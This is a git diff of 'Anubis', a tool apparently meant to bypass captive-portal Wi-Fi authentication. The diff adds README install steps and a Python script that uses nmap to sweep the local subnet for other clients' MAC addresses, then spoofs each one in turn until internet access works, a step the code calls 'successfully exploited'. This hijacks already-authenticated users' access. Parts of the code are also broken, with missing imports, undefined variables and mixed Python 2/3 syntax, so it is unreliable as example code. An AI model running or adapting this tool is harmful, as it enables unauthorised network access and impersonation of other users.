diff --git a/README.md b/README.md index ff53edc..08c742f 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,5 @@ # Anubis Captive Wifi Hotspot bypass ->Unfortunately sundaysec is experiencing Kernel Panic called examinations... ->Will commit soon :) - [A Web page used on public-access networks that require a user to view and interact with before being granted access to the public network. Captive portals are widely used by businesses that offer free Wi-Fi hotspots to Internet users. Usually a captive portal requires users to read and accept the business' acceptable use policy (AUP).](https://www.webopedia.com/TERM/C/captive_portal.html) Many institutions use this type of authentication in the WIFI as a 'sure' means of preventing unauthorised access. @@ -31,17 +28,16 @@ Installing anubis Clone the anubis project files -`git clone https://github.com/sundaysec/anubis.git` - +`git clone --recursive https://github.com/sundaysec/anubis.git` -Navigate to src in the cloned folder -`cd ./anubis/src` +Navigate to the cloned folder -Run the installer to check dependencies +`cd ./anubis/` +Run the installer `chmod +x ./installer.sh ; ./installer.sh` -Run the main python file +Run anubis -`cd .. ; python anubis.py` +`python anubis.py` diff --git a/__pycache__/anubis.cpython-36.pyc b/__pycache__/anubis.cpython-36.pyc new file mode 100755 index 0000000..a3ed8fa Binary files /dev/null and b/__pycache__/anubis.cpython-36.pyc differ diff --git a/anubis.py b/anubis.py old mode 100644 new mode 100755 index 26f912c..8c0354b --- a/anubis.py +++ b/anubis.py @@ -1,9 +1,11 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python # -*- coding: utf-8 -*- + +######################################################################### # DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE # Version 2, December 2004 # - # Copyright (C) 2018 Sunday Philemon philemonsunday202@gmail.com + # Copyright (C) 2018-2019 Sunday Philemon philemonsunday202@gmail.com # # Everyone is permitted to copy and distribute verbatim or modified # copies of this license document, and changing it is allowed as long @@ -12,34 +14,95 @@ # DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE # TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION # - # 0. You just DO WHAT THE FUCK YOU WANT TO. + # 0. You just DO WHAT THE FUCK YOU WANT TO +######################################################################## + -import os -from src import banner import sys -import subprocess +from platform import system as platform, release, node +# import subprocess +from os import system, curdir import argparse as arg -import argcomplete +from argcomplete import autocomplete +import nmap +import urllib2 +# import itertools #vars -cwd = os.getcwd() -host = os.platform() +ostype = platform() +release = release() +node = node() #arguments -parser = arg.ArgumentParser() +parser = arg.ArgumentParser(description="\033[1;31mAnubis - Captive Portal Bypass\033[1;m") parser.add_argument("-i", "--interface", help="The active interface used (Default:wlan0)", default="wlan0") -parser.add_argument("-r", "--range", help="The range of scan(Default:24)", default=24) +parser.add_argument("-a", "--address", help="Ip address") #For argument autocomplete -argcomplete.autocomplete(parser) -q = parser.parse_args() - -#Simple oop -class anubis: - def __init__(self, interface, range): - self.iface = interface - self.rng = range - - def scan(self): - pass -#Continue +autocomplete(parser) +argument = parser.parse_args() + +def test_connection(): + try: + urllib2.urlopen('http://216.58.192.142', timeout=1) + return True + except urllib2.URLError as err: + return False + +def iface_ip(iface): + """Derives ip address from the interface""" + try: + from socket import socket + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + return socket.inet_ntoa(fcntl.ioctl( + s.fileno(), + 0x8915, + struct.pack('256s', str(self.iface[:15])) + )[20:24]) + except IOError as e: + return "" + ip = "" + +def scan_mac(ip, iface='wlan0'): + """Scans mac addresses in /24 range and return scan list""" + s = nmap.PortScanner() + print("Scanning...") + y = s.scan(hosts=ip + '/24',arguments='-sP '+ iface, sudo=True) + scan = y.get('scan') + mac_list = []# Initialise empty list + for i in scan.keys():# Add mac addresses to the list + mac_list.append(scan.get(scan.keys()[scan.keys().index(i)]).get('addresses').get('mac')) + return mac_list + +def set_mac(mac_list, iface): + """Sets mac addresses from mac list using SpoofMAC submodule""" + try: + for i in mac_list: + system(sys.executable + '' + curdir + 'core/SpoofMAC/spoofmac.py set ' + i + ' '+ iface )#Run SpoofMAC + if test_connection() == True: + break + return True#successfully exploited + else: + print "MAC {} not successful".format(i) + except IndexError: + pass + except ValueError: + pass + +# print help if no arguments detected +if len(sys.argv)==1: + print("""\033[1;31m + █████╗ ███╗ ██╗██╗ ██╗██████╗ ██╗███████╗ + ██╔══██╗████╗ ██║██║ ██║██╔══██╗██║██╔════╝ + ███████║██╔██╗ ██║██║ ██║██████╔╝██║███████╗\033[1;32m + ██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║╚════██║ + ██║ ██║██║ ╚████║╚██████╔╝██████╔╝██║███████║ + ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝\033[1;34m + Running on {} {} {} + \033[1;m""").format(ostype,release,node) + system(sys.executable + ' '+ curdir +'/anubis.py --help') + +else: + ip = iface_ip(argument.interface) + list = scan_mac(ip, iface) + set_mac(list, iface ) diff --git a/anubis.pyc b/anubis.pyc new file mode 100644 index 0000000..fe73a2c Binary files /dev/null and b/anubis.pyc differ diff --git a/src/installer.sh b/installer.sh old mode 100644 new mode 100755 similarity index 90% rename from src/installer.sh rename to installer.sh index b87d1fa..7735c46 --- a/src/installer.sh +++ b/installer.sh @@ -50,8 +50,16 @@ else py3=False fi +#Install Pip for python3 +sudo apt-get install python3-pip -y +if [ $? -eq 0 ]; then + echo "${green}[✔]Pip3 successfully installed${normal}" +else + echo "${red}[✘]Pip3 has not installed${normal}" +fi + #Check internet connection -# Can also use ping http://www.msftncsi.com/ncsi.txt +# Alt ping http://www.msftncsi.com/ncsi.txt wget -q --spider http://google.com if [ $? -eq 0 ]; then diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..331813f --- /dev/null +++ b/requirements.txt @@ -0,0 +1,3 @@ +python-nmap +argcomplete +itertools diff --git a/src/banner.py b/src/banner.py deleted file mode 100644 index 32c95f3..0000000 --- a/src/banner.py +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env python3 - -# -*- coding: utf-8 -*- - -import random - -banner1=""" - █████╗ ███╗ ██╗██╗ ██╗██████╗ ██╗███████╗ -██╔══██╗████╗ ██║██║ ██║██╔══██╗██║██╔════╝ -███████║██╔██╗ ██║██║ ██║██████╔╝██║███████╗ -██╔══██║██║╚██╗██║██║ ██║██╔══██╗██║╚════██║ -██║ ██║██║ ╚████║╚██████╔╝██████╔╝██║███████║ -╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝ - -""" -banner2=""" - - ▄████████ ███▄▄▄▄ ███ █▄ ▀█████████▄ ▄█ ▄████████ - ███ ███ ███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███ - ███ ███ ███ ███ ███ ███ ███ ███ ███▌ ███ █▀ - ███ ███ ███ ███ ███ ███ ▄███▄▄▄██▀ ███▌ ███ -▀███████████ ███ ███ ███ ███ ▀▀███▀▀▀██▄ ███▌ ▀███████████ - ███ ███ ███ ███ ███ ███ ███ ██▄ ███ ███ - ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█ ███ - ███ █▀ ▀█ █▀ ████████▀ ▄█████████▀ █▀ ▄████████▀ - - -""" -banner3=""" - ▄▄▄· ▐ ▄ ▄• ▄▌▄▄▄▄· ▪ .▄▄ · -▐█ ▀█ •█▌▐██▪██▌▐█ ▀█▪██ ▐█ ▀. -▄█▀▀█ ▐█▐▐▌█▌▐█▌▐█▀▀█▄▐█·▄▀▀▀█▄ -▐█ ▪▐▌██▐█▌▐█▄█▌██▄▪▐█▐█▌▐█▄▪▐█ - ▀ ▀ ▀▀ █▪ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀▀▀▀ -""" -banner4=""" -▄▀▀█▄ ▄▀▀▄ ▀▄ ▄▀▀▄ ▄▀▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▀▀▄ -▐ ▄▀ ▀▄ █ █ █ █ █ █ █ ▐ ▄▀ █ █ █ █ █ █ ▐ - █▄▄▄█ ▐ █ ▀█ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▀▄ - ▄▀ █ █ █ █ █ █ █ █ ▀▄ █ -█ ▄▀ ▄▀ █ ▀▄▄▄▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ █▀▀▀ -▐ ▐ █ ▐ █ ▐ █ █ ▐ - ▐ ▐ ▐ ▐ -""" -banners=[banner1,banner2,banner3] - -def burn(): - print random.choice(banners) diff --git a/src/images/images.md b/src/images/README.md similarity index 100% rename from src/images/images.md rename to src/images/README.md